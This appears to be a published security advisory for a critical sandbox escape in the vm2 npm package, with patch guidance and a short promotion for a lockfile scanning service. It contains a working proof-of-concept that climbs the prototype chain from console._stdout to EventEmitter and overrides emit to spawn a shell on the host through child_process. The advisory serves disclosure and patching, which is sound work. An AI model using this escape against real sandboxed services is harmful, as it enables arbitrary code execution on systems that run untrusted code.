CriticalGHSA-88hf-g992-jg85CVE-2026-92955

vm2: Sandbox Escape (NodeVM)

Published 5 Oct 2026 · Updated 5 Oct 2026

Affected package

vm2npm
Affected
<3.11.8
Fixed in
3.11.8
Update to the fixed version for your release line, for example:npm install vm2@3.11.8

Details

Summary

It being possible to obtain the host __proto__ getter/setter, has been used in many reports:

  • https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
  • https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
  • https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p
  • https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6

Yet it was never patched...

---

This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console._stdout/console._stderr (NodeVM with console: 'inherit', which is the default)

Details

The prototype chain for console._stdout/console._stderr is:

_stdout / _stderr
-> WriteStream (TTY only)
-> Socket
-> Duplex
-> Readable
-> Stream
-> EventEmitter

process is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype

By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.

This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.

PoC

const { NodeVM } = require("vm2");

code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');

// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}

// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }

let p = console._stdout;
while (p.pipe) {
	console.log(p.constructor.name);
	p = gP.call(p);
};

p.emit = function(){
	console.log(this+[]);
	this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;

const vm = new NodeVM();
vm.run(code);

Is GHSA-88hf-g992-jg85 in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected vm2, and gives you the command that fixes it.

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.